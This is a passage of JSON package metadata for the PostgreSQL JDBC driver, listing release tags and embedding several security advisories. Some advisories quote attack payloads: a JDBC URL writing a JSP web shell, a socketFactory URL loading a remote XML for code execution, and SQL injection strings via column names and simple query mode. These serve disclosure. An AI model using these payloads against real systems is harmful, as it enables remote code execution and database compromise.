d.github.com/pgjdbc/pgjdbc/tar.gz/REL7_2","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_2"},{"name":"REL7_2_RC2","sha":"f4cfb708fe309ef501e76713bc447f878c1dff79","kind":"commit","published_at":"2002-01-18T17:21:51.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_2_RC2","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_2_RC2"},{"name":"REL7_2_RC1","sha":"f4cfb708fe309ef501e76713bc447f878c1dff79","kind":"commit","published_at":"2002-01-18T17:21:51.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_2_RC1","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_2_RC1"},{"name":"REL7_2_BETA5","sha":"74b58ea9308a8d0afa06c4da53967eccbe10f955","kind":"commit","published_at":"2002-01-05T22:26:23.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_2_BETA5","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_2_BETA5"},{"name":"REL7_2_BETA4","sha":"7b96aee64942e2b041820d2c8a6a95c8ac79dfdb","kind":"commit","published_at":"2001-12-11T04:48:05.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_2_BETA4","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_2_BETA4"},{"name":"REL7_2_BETA3","sha":"855287de30b689e315b435f79f3b8fd066dd5ac8","kind":"commit","published_at":"2001-11-19T23:19:21.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_2_BETA3","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_2_BETA3"},{"name":"REL7_2_BETA2","sha":"42c01a77e1e0be5f5b2d631fef5b3d46c2dbb7c2","kind":"commit","published_at":"2001-11-02T23:51:18.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_2_BETA2","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_2_BETA2"},{"name":"REL7_2_BETA1","sha":"72a1e406d24746a658be7672b311a73bb3d815a3","kind":"commit","published_at":"2001-10-25T06:00:05.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_2_BETA1","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_2_BETA1"},{"name":"REL7_1_2","sha":"78eb5549506b35d6bd13b915f34c49ec604f1f7c","kind":"commit","published_at":"2001-05-12T20:45:45.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_1_2","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_1_2"},{"name":"REL7_1","sha":"2c56fd4ae7a9e300c5c5bba754659949874af2c2","kind":"commit","published_at":"2001-03-19T21:57:09.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_1","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_1"},{"name":"REL7_1_BETA3","sha":"a55bb6d16837bda30929f56c9b866bcd98ffe87f","kind":"commit","published_at":"2000-12-28T23:56:46.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_1_BETA3","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_1_BETA3"},{"name":"REL7_1_BETA2","sha":"a55bb6d16837bda30929f56c9b866bcd98ffe87f","kind":"commit","published_at":"2000-12-28T23:56:46.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_1_BETA2","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_1_BETA2"},{"name":"REL7_1_BETA","sha":"422287392124727a6d1520a004d6892449c3474c","kind":"commit","published_at":"2000-11-25T04:32:12.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_1_BETA","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_1_BETA"},{"name":"REL7_0","sha":"00659bf1e495de76b0444a0baecb12516526595d","kind":"commit","published_at":"2000-05-05T07:35:29.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL7_0","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL7_0"},{"name":"REL6_5","sha":"a82d23e5c013587296f807ff3886359fd4941f96","kind":"commit","published_at":"1999-06-27T11:05:38.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/REL6_5","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/REL6_5"},{"name":"release-6-3","sha":"121396c2d9ba689d98fe0837be59ce628ae62c0e","kind":"commit","published_at":"1998-02-22T18:03:26.000Z","download_url":"https://codeload.github.com/pgjdbc/pgjdbc/tar.gz/release-6-3","html_url":"https://github.com/pgjdbc/pgjdbc/releases/tag/release-6-3"}]},"repo_metadata_updated_at":"2023-03-22T06:56:37.463Z","dependent_packages_count":3652,"downloads":null,"downloads_period":null,"dependent_repos_count":176054,"rankings":{"downloads":null,"dependent_repos_count":0.0044048806077133466,"dependent_packages_count":0.018420409814073994,"stargazers_count":10.616563151972386,"forks_count":6.4499465407671694,"docker_downloads_count":0.13995507021780132,"average":3.445858010675829},"purl":"pkg:maven/org.postgresql/postgresql","advisories":[{"uuid":"GSA_kwCzR0hTQS03MjdoLWhydzgtamc4cc0xPQ","url":"https://github.com/advisories/GHSA-727h-hrw8-jg8q","title":"Path traversal in org.postgresql:postgresql","description":"In pgjdbc before 42.3.3, an attacker (who controls the jdbc URL or properties) can call java.util.logging.FileHandler to write to arbitrary files through the loggerFile and loggerLevel connection properties. An example situation is that an attacker could create an executable JSP file under a Tomcat web root. NOTE: the vendor's position is that there is no pgjdbc vulnerability; instead, it is a vulnerability for any application to use the pgjdbc driver with untrusted connection properties.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2022-03-11T00:02:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-673j-qm5f-xpv8","https://nvd.nist.gov/vuln/detail/CVE-2022-26520","https://jdbc.postgresql.org/documentation/changelog.html#version_42.3.3","https://jdbc.postgresql.org/documentation/head/tomcat.html","https://www.debian.org/security/2022/dsa-5196","https://github.com/pgjdbc/pgjdbc/pull/2454/commits/017b929977b4f85795f9ad2fa5de6e80978b8ccc","https://github.com/advisories/GHSA-727h-hrw8-jg8q"],"source_kind":"github","identifiers":["GHSA-727h-hrw8-jg8q","CVE-2022-26520"],"repository_url":"https://github.com/pgjdbc/pgjdbc","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"42.3.3","vulnerable_version_range":"\u003e= 42.1.0, \u003c 42.3.3"}],"ecosystem":"maven","package_name":"org.postgresql:postgresql"}],"created_at":"2022-12-21T16:11:59.888Z","updated_at":"2023-08-03T17:41:55.000Z","epss_percentage":0.00573,"epss_percentile":0.67541},{"uuid":"GSA_kwCzR0hTQS01NjJyLXZnMzMtOHg4aM4AAwB_","url":"https://github.com/advisories/GHSA-562r-vg33-8x8h","title":"TemporaryFolder on unix-like systems does not limit access to created files","description":"**Vulnerability**\n\n`PreparedStatement.setText(int, InputStream)`\nand\n\n`PreparedStatemet.setBytea(int, InputStream)`\n\nwill create a temporary file if the InputStream is larger than 51k\n\n \nExample of vulnerable code:\n\n```java\nString s = \"some very large string greater than 51200 bytes\";\n\nPreparedStatement.setInputStream(1, new ByteArrayInputStream(s.getBytes()) );\n```\nThis will create a temporary file which is readable by other users on Unix like systems, but not MacOS.\n\nImpact\nOn Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system.\n\nThis vulnerability does not allow other users to overwrite the contents of these directories or files. This is purely an information disclosure vulnerability.\n\nWhen analyzing the impact of this vulnerability, here are the important questions to ask:\n\nIs the driver running in an environment where the OS has other untrusted users.\nIf yes, and you answered 'yes' to question 1, this vulnerability impacts you.\nIf no, this vulnerability does not impact you.\nPatches\nBecause certain JDK file system APIs were only added in JDK 1.7, this this fix is dependent upon the version of the JDK you are using.\n\nJava 1.8 and higher users: this vulnerability is fixed in 42.2.27, 42.3.8, 42.4.3, 42.5.1\nJava 1.7 users: this vulnerability is fixed in 42.2.27.jre7\nJava 1.6 and lower users: no patch is available; you must use the workaround below.\nWorkarounds\nIf you are unable to patch, or are stuck running on Java 1.6, specifying the java.io.tmpdir system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability.\n\nReferences\n[CWE-200: Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html)\nFix commit https://github.com/pgjdbc/pgjdbc/commit/9008dc9aade6dbfe4efafcd6872ebc55f4699cf5\nSimilar Vulnerabilities\nGoogle Guava - https://github.com/google/guava/issues/4011\nApache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945\nJetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-11-23T22:17:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-562r-vg33-8x8h","https://nvd.nist.gov/vuln/detail/CVE-2022-41946","https://github.com/pgjdbc/pgjdbc/commit/9008dc9aade6dbfe4efafcd6872ebc55f4699cf5","https://lists.debian.org/debian-lts-announce/2022/12/msg00003.html","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/25TY2L3RMVNOC7VAHJEAO7PTT6M6JJAD","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/25TY2L3RMVNOC7VAHJEAO7PTT6M6JJAD","https://security.netapp.com/advisory/ntap-20240329-0003","https://github.com/advisories/GHSA-562r-vg33-8x8h"],"source_kind":"github","identifiers":["GHSA-562r-vg33-8x8h","CVE-2022-41946"],"repository_url":"https://github.com/pgjdbc/pgjdbc","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"42.3.8","vulnerable_version_range":"\u003e= 42.3.0, \u003c 42.3.8"},{"first_patched_version":"42.5.1","vulnerable_version_range":"\u003e= 42.5.0, \u003c 42.5.1"},{"first_patched_version":"42.4.3","vulnerable_version_range":"\u003e= 42.4.0, \u003c 42.4.3"},{"first_patched_version":"42.2.27","vulnerable_version_range":"\u003e= 42.2.0, \u003c 42.2.27"}],"ecosystem":"maven","package_name":"org.postgresql:postgresql"}],"created_at":"2022-12-21T16:11:45.832Z","updated_at":"2024-03-29T15:42:59.000Z","epss_percentage":0.00036,"epss_percentile":0.09333},{"uuid":"GSA_kwCzR0hTQS1oODZ3LW01cm0teHIzM84AAfdY","url":"https://github.com/advisories/GHSA-h86w-m5rm-xr33","title":"Unescaped parameters in the PostgreSQL JDBC driver","description":"Interaction error in the PostgreSQL JDBC driver before 8.2, when used with a PostgreSQL server with the \"standard_conforming_strings\" option enabled, such as the default configuration of PostgreSQL 9.1, does not properly escape unspecified JDBC statement parameters, which allows remote attackers to perform SQL injection attacks.  NOTE: as of 20120330, it was claimed that the upstream developer planned to dispute this issue, but an official dispute has not been posted as of 20121005.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-17T05:20:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2012-1618","https://bugzilla.novell.com/show_bug.cgi?id=754273","http://archives.neohapsis.com/archives/bugtraq/2012-03/0126.html","http://lists.opensuse.org/opensuse-security/2012-03/msg00024.html","http://www.openwall.com/lists/oss-security/2012/03/30/8","http://www.openwall.com/lists/oss-security/2012/03/30/9","http://www.openwall.com/lists/oss-security/2012/03/31/1","http://www.openwall.com/lists/oss-security/2012/04/02/4","http://www.openwall.com/lists/oss-security/2012/04/04/11","http://www.openwall.com/lists/oss-security/2012/04/04/4","http://www.openwall.com/lists/oss-security/2012/04/04/5","http://www.openwall.com/lists/oss-security/2012/04/04/9","http://www.osvdb.org/80641","https://github.com/advisories/GHSA-h86w-m5rm-xr33"],"source_kind":"github","identifiers":["GHSA-h86w-m5rm-xr33","CVE-2012-1618"],"repository_url":null,"blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"8.2","vulnerable_version_range":"\u003c 8.2"}],"ecosystem":"maven","package_name":"org.postgresql:postgresql"}],"created_at":"2023-02-14T01:03:01.663Z","updated_at":"2023-02-14T00:32:50.000Z","epss_percentage":0.01331,"epss_percentile":0.78797},{"uuid":"GSA_kwCzR0hTQS02NzNqLXFtNWYteHB2OM0saw","url":"https://github.com/advisories/GHSA-673j-qm5f-xpv8","title":"pgjdbc Arbitrary File Write Vulnerability","description":"### Overview\nThe connection properties for configuring a pgjdbc connection are not meant to be exposed to an unauthenticated attacker. While allowing an attacker to specify arbitrary connection properties could lead to a compromise of a system, that's a defect of an application that allows unauthenticated attackers that level of control.\n\nIt's not the job of the pgjdbc driver to decide whether a given log file location is acceptable. End user applications that use the pgjdbc driver must ensure that filenames are valid and restrict unauthenticated attackers from being able to supply arbitrary values. That's not specific to the pgjdbc driver either, it would be true for any library that can write to the application's local file system.\n\nWhile we do not consider this a security issue with the driver, we have decided to remove the loggerFile and loggerLevel connection properties in the next release of the driver. Removal of those properties does not make exposing the JDBC URL or connection properties to an attacker safe and we continue to suggest that applications do not allow untrusted users to specify arbitrary connection properties. We are removing them to prevent misuse and their functionality can be delegated to java.util.logging.\n\nIf you identify an application that allows remote users to specify a complete JDBC URL or properties without validating it's contents, we encourage you to notify the application owner as that may be a security defect in that specific application.\n\n### Impact\nIt is possible to specify an arbitrary filename in the loggerFileName connection parameter\n\"jdbc:postgresql://localhost:5432/test?user=test\u0026password=test\u0026loggerLevel=DEBUG\u0026loggerFile=./blah.jsp\u0026\u003c%Runtime.getRuntime().exec(request.getParameter(\\\"i\\\"));%\u003e\"\n\nThis creates a valid JSP file which could lead to a Remote Code Execution \n\n### Patches\nLoggerFile implementation has been removed and will be ignored by the driver, fixed in 42.3.3\n\n### Workarounds\nsanitize the inputs to the driver\n\nReported by Allan Lou v3ged0ge@gmail.com","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-02-16T00:08:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-673j-qm5f-xpv8","https://github.com/pgjdbc/pgjdbc/commit/f6d47034a4ce292e1a659fa00963f6f713117064","https://github.com/advisories/GHSA-673j-qm5f-xpv8"],"source_kind":"github","identifiers":["GHSA-673j-qm5f-xpv8"],"repository_url":"https://github.com/pgjdbc/pgjdbc","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"42.3.3","vulnerable_version_range":"\u003e= 42.1.0, \u003c 42.3.3"}],"ecosystem":"maven","package_name":"org.postgresql:postgresql"}],"created_at":"2022-12-21T16:12:35.676Z","updated_at":"2024-01-22T19:35:00.000Z","epss_percentage":null,"epss_percentile":null},{"uuid":"GSA_kwCzR0hTQS14Zmc2LTYycHgtY3hjMs4AA5Xt","url":"https://github.com/advisories/GHSA-xfg6-62px-cxc2","title":"Duplicate Advisory: SQL injection in pgjdbc","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-24rp-q3w6-vc56. This link is maintained to preserve external references.\n\n## Original Description\npgjdbc, the PostgreSQL JDBC Driver, allows attacker to inject SQL if using PreferQueryMode=SIMPLE. Note this is not the default. In the default mode there is no vulnerability. A placeholder for a numeric value must be immediately preceded by a minus. There must be a second placeholder for a string value after the first placeholder; both must be on the same line. By constructing a matching string payload, the attacker can inject SQL to alter the query,bypassing the protections that parameterized queries bring against SQL Injection attacks. Versions before 42.7.2, 42.6.1, 42.5.5, 42.4.4, 42.3.9, and 42.2.8 are affected.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-02-19T15:30:38.000Z","withdrawn_at":"2024-02-21T23:18:25.000Z","classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-24rp-q3w6-vc56","https://nvd.nist.gov/vuln/detail/CVE-2024-1597","https://github.com/pgjdbc/pgjdbc/commit/06abfb78a627277a580d4df825f210e96a4e14ee","https://github.com/pgjdbc/pgjdbc/commit/93b0fcb2711d9c1e3a2a03134369738a02a58b40","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TZQTSMESZD2RJ5XBPSXH3TIQVUW5DIUU","https://security.netapp.com/advisory/ntap-20240419-0008","https://www.enterprisedb.com/docs/jdbc_connector/latest/01_jdbc_rel_notes","https://www.enterprisedb.com/docs/security/assessments/cve-2024-1597","http://www.openwall.com/lists/oss-security/2024/04/02/6","https://lists.debian.org/debian-lts-announce/2024/05/msg00007.html","https://github.com/advisories/GHSA-xfg6-62px-cxc2"],"source_kind":"github","identifiers":["GHSA-xfg6-62px-cxc2"],"repository_url":"https://github.com/pgjdbc/pgjdbc","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"42.2.8","vulnerable_version_range":"\u003c 42.2.8"},{"first_patched_version":"42.3.9","vulnerable_version_range":"\u003e= 42.3.0, \u003c 42.3.9"},{"first_patched_version":"42.4.4","vulnerable_version_range":"\u003e= 42.4.0, \u003c 42.4.4"},{"first_patched_version":"42.5.5","vulnerable_version_range":"\u003e= 42.5.0, \u003c 42.5.5"},{"first_patched_version":"42.6.1","vulnerable_version_range":"\u003e= 42.6.0, \u003c 42.6.1"},{"first_patched_version":"42.7.2","vulnerable_version_range":"\u003e= 42.7.0, \u003c 42.7.2"}],"ecosystem":"maven","package_name":"org.postgresql:postgresql"}],"created_at":"2024-02-21T01:04:30.219Z","updated_at":"2024-06-10T18:31:57.000Z","epss_percentage":null,"epss_percentile":null},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTg4Y2MtZzgzNS03NnJw","url":"https://github.com/advisories/GHSA-88cc-g835-76rp","title":"Improper Restriction of XML External Entity Reference","description":"PostgreSQL JDBC Driver (aka PgJDBC) before 42.2.13 allows XXE.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-10T00:30:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2020-13692","https://github.com/pgjdbc/pgjdbc/commit/14b62aca4764d496813f55a43d050b017e01eb65","https://jdbc.postgresql.org/documentation/changelog.html#version_42.2.13","https://lists.apache.org/thread.html/r00bcc6b2da972e0d6332a4ebc7807e17305d8b8e7fb2ae63d2a3cbfb@%3Ccommits.camel.apache.org%3E","https://lists.apache.org/thread.html/r01ae1b3d981cf2e563e9b5b0a6ea54fb3cac8e9a0512ee5269e3420e@%3Ccommits.camel.apache.org%3E","https://lists.apache.org/thread.html/r0478a1aa9ae0dbd79d8f7b38d0d93fa933ac232e2b430b6f31a103c0@%3Ccommits.camel.apache.org%3E","https://lists.apache.org/thread.html/r1aae77706aab7d89b4fe19be468fc3c73e9cc84ff79cc2c3bd07c05a@%3Ccommits.camel.apache.org%3E","https://lists.apache.org/thread.html/r4bdea189c9991aae7a929d28f575ec46e49ed3d68fa5235825f38a4f@%3Cnotifications.netbeans.apache.org%3E","https://lists.apache.org/thread.html/r631f967db6260d6178740a3314a35d9421facd8212e62320275fa78e@%3Ccommits.camel.apache.org%3E","https://lists.apache.org/thread.html/r7f6d019839df17646ffd0046a99146cacf40492a6c92078f65fd32e0@%3Ccommits.camel.apache.org%3E","https://lists.apache.org/thread.html/rb89f92aba44f524d5c270e0c44ca7aec4704691c37fe106cf73ec977@%3Cnotifications.netbeans.apache.org%3E","https://lists.apache.org/thread.html/rfe363bf3a46d440ad57fd05c0e313025c7218364bbdc5fd8622ea7ae@%3Ccommits.camel.apache.org%3E","https://www.debian.org/security/2022/dsa-5196","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DCCAPM6FSNOC272DLSNQ6YHXS3OMHGJC","https://security.netapp.com/advisory/ntap-20200619-0005","https://github.com/advisories/GHSA-88cc-g835-76rp"],"source_kind":"github","identifiers":["GHSA-88cc-g835-76rp","CVE-2020-13692"],"repository_url":"https://github.com/pgjdbc/pgjdbc","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"42.2.13","vulnerable_version_range":"\u003e= 9.4.1212.jre6, \u003c 42.2.13"}],"ecosystem":"maven","package_name":"org.postgresql:postgresql"}],"created_at":"2022-12-21T16:12:36.140Z","updated_at":"2024-05-15T06:44:17.000Z","epss_percentage":0.02469,"epss_percentile":0.83847},{"uuid":"GSA_kwCzR0hTQS12N3dnLWNwd2MtMjRtNM0oEA","url":"https://github.com/advisories/GHSA-v7wg-cpwc-24m4","title":"pgjdbc Does Not Check Class Instantiation when providing Plugin Classes","description":"### Impact\n\npgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties.\n\nHowever, the driver did not verify if the class implements the expected interface before instantiating the class.\n\nHere's an example attack using an out-of-the-box class from Spring Framework:\n\n```\nDriverManager.getConnection(\"jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext\u0026socketFactoryArg=http://target/exp.xml\");\n```\n\nThe first impacted version is REL9.4.1208 (it introduced `socketFactory` connection property)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-02T00:04:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4","https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813","https://nvd.nist.gov/vuln/detail/CVE-2022-21724","https://security.netapp.com/advisory/ntap-20220311-0005/","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BVEO7BEFXPBVHSPYL3YKQWZI6DYXQLFS/","https://lists.debian.org/debian-lts-announce/2022/05/msg00027.html","https://www.debian.org/security/2022/dsa-5196","https://github.com/advisories/GHSA-v7wg-cpwc-24m4"],"source_kind":"github","identifiers":["GHSA-v7wg-cpwc-24m4","CVE-2022-21724"],"repository_url":"https://github.com/pgjdbc/pgjdbc","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"42.3.2","vulnerable_version_range":"\u003e= 42.3.0, \u003c 42.3.2"},{"first_patched_version":"42.2.25","vulnerable_version_range":"\u003e= 9.4.1208, \u003c 42.2.25"}],"ecosystem":"maven","package_name":"org.postgresql:postgresql"}],"created_at":"2022-12-21T16:12:37.252Z","updated_at":"2023-01-31T05:03:56.000Z","epss_percentage":0.04046,"epss_percentile":0.87928},{"uuid":"GSA_kwCzR0hTQS1yMzhmLWM0aDQtaHFxMs4AAt2m","url":"https://github.com/advisories/GHSA-r38f-c4h4-hqq2","title":"PostgreSQL JDBC Driver SQL Injection in ResultSet.refreshRow() with malicious column names","description":"### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThe PGJDBC implementation of the `java.sql.ResultRow.refreshRow()` method is not performing escaping of column names so a malicious column name that contains a statement terminator, e.g. `;`, could lead to SQL injection. This could lead to executing additional SQL commands as the application's JDBC user.\n\nUser applications that do not invoke the `ResultSet.refreshRow()` method are not impacted.\n\nUser application that do invoke that method are impacted if the underlying database that they are querying via their JDBC application may be under the control of an attacker. The attack requires the attacker to trick the user into executing SQL against a table name who's column names would contain the malicious SQL and subsequently invoke the `refreshRow()` method on the ResultSet.\n\nFor example:\n\n```sql\nCREATE TABLE refresh_row_example (\n  id     int PRIMARY KEY,\n  \"1 FROM refresh_row_example; SELECT pg_sleep(10); SELECT * \" int\n);\n```\n\nThis example has a table with two columns. The name of the second column is crafted to contain a statement terminator followed by additional SQL. Invoking the `ResultSet.refreshRow()` on a ResultSet that queried this table, e.g. `SELECT * FROM refresh_row`, would cause the additional SQL commands such as the `SELECT pg_sleep(10)` invocation to be executed.\n\nAs the multi statement command would contain multiple results, it would not be possible for the attacker to get data directly out of this approach as the `ResultSet.refreshRow()` method would throw an exception. However, the attacker could execute any arbitrary SQL including inserting the data into another table that could then be read or any other DML / DDL statement.\n\nNote that the application's JDBC user and the schema owner need not be the same. A JDBC application that executes as a privileged user querying database schemas owned by potentially malicious less-privileged users would be vulnerable. In that situation it may be possible for the malicious user to craft a schema that causes the application to execute commands as the privileged user.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nYes, versions 42.2.26, 42.3.7, and 42.4.1 have been released with a fix.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nCheck that you are not using the `ResultSet.refreshRow()` method.\n\nIf you are, ensure that the code that executes that method does not connect to a database that is controlled by an unauthenticated or malicious user. If your application only connects to its own database with a fixed schema with no DDL permissions, then you will not be affected by this vulnerability as it requires a maliciously crafted schema.\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-08-06T05:51:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-r38f-c4h4-hqq2","https://nvd.nist.gov/vuln/detail/CVE-2022-31197","https://github.com/pgjdbc/pgjdbc/commit/739e599d52ad80f8dcd6efedc6157859b1a9d637","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/I6WHUADTZBBQLVHO4YG4XCWDGWBT4LRP/","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UTFE6SV33P5YYU2GNTQZQKQRVR3GYE4S/","https://lists.debian.org/debian-lts-announce/2022/10/msg00009.html","https://github.com/advisories/GHSA-r38f-c4h4-hqq2"],"source_kind":"github","identifiers":["GHSA-r38f-c4h4-hqq2","CVE-2022-31197"],"repository_url":"https://github.com/pgjdbc/pgjdbc","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"42.3.7","vulnerable_version_range":"\u003e= 42.3.0, \u003c 42.3.7"},{"first_patched_version":"42.4.1","vulnerable_version_range":"\u003e= 42.4.0, \u003c 42.4.1"},{"first_patched_version":"42.2.26","vulnerable_version_range":"\u003c 42.2.26"}],"ecosystem":"maven","package_name":"org.postgresql:postgresql"}],"created_at":"2022-12-21T16:11:57.330Z","updated_at":"2023-10-30T13:06:31.000Z","epss_percentage":0.00674,"epss_percentile":0.70079},{"uuid":"GSA_kwCzR0hTQS0yNHJwLXEzdzYtdmM1Ns4AA5cA","url":"https://github.com/advisories/GHSA-24rp-q3w6-vc56","title":"org.postgresql:postgresql vulnerable to SQL Injection via line comment generation","description":"# Impact\nSQL injection is possible when using the non-default connection property `preferQueryMode=simple` in combination with application code that has a vulnerable SQL that negates a parameter value.\n\nThere is no vulnerability in the driver when using the default query mode. Users that do not override the query mode are not impacted.\n\n# Exploitation\n\nTo exploit this behavior the following conditions must be met:\n\n1. A placeholder for a numeric value must be immediately preceded by a minus (i.e. `-`)\n1. There must be a second placeholder for a string value after the first placeholder on the same line. \n1. Both parameters must be user controlled.\n\nThe prior behavior of the driver when operating in simple query mode would inline the negative value of the first parameter and cause the resulting line to be treated as a `--` SQL comment. That would extend to the beginning of the next parameter and cause the quoting of that parameter to be consumed by the comment line. If that string parameter includes a newline, the resulting text would appear unescaped in the resulting SQL.\n\nWhen operating in the default extended query mode this would not be an issue as the parameter values are sent separately to the server. Only in simple query mode the parameter values are inlined into the executed SQL causing this issue.\n\n# Example\n\n```java\nPreparedStatement stmt = conn.prepareStatement(\"SELECT -?, ?\");\nstmt.setInt(1, -1);\nstmt.setString(2, \"\\nWHERE false --\");\nResultSet rs = stmt.executeQuery();\n```\n\nThe resulting SQL when operating in simple query mode would be:\n\n```sql\nSELECT --1,'\nWHERE false --'\n```\n\nThe contents of the second parameter get injected into the command. Note how both the number of result columns and the WHERE clause of the command have changed. A more elaborate example could execute arbitrary other SQL commands.\n\n# Patch\nProblem will be patched upgrade to 42.7.2, 42.6.1, 42.5.5, 42.4.4, 42.3.9, 42.2.28, 42.2.28.jre7\n\nThe patch fixes the inlining of parameters by forcing them all to be serialized as wrapped literals. The SQL in the prior example would be transformed into:\n\n```sql\nSELECT -('-1'::int4), ('\nWHERE false --')\n```\n\n# Workarounds\nDo not use the connection property`preferQueryMode=simple`. (*NOTE: If you do not explicitly specify a query mode then you are using the default of `extended` and are not impacted by this issue.*)","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-02-21T23:33:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-24rp-q3w6-vc56","https://nvd.nist.gov/vuln/detail/CVE-2024-1597","https://github.com/pgjdbc/pgjdbc/commit/06abfb78a627277a580d4df825f210e96a4e14ee","https://github.com/pgjdbc/pgjdbc/commit/93b0fcb2711d9c1e3a2a03134369738a02a58b40","https://github.com/advisories/GHSA-24rp-q3w6-vc56"],"source_kind":"github","identifiers":["GHSA-24rp-q3w6-vc56","CVE-2024-1597"],"repository_url":"https://github.com/pgjdbc/pgjdbc","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"42.7.2","vulnerable_version_range":"\u003e= 42.7.0, \u003c 42.7.2"},{"first_patched_version":"42.6.1","vulnerable_version_range":"\u003e= 42.6.0, \u003c 42.6.1"},{"first_patched_version":"42.5.5","vulnerable_version_range":"\u003e= 42.5.0, \u003c 42.5.5"},{"first_patched_version":"42.4.4","vulnerable_version_range":"\u003e= 42.4.0, \u003c 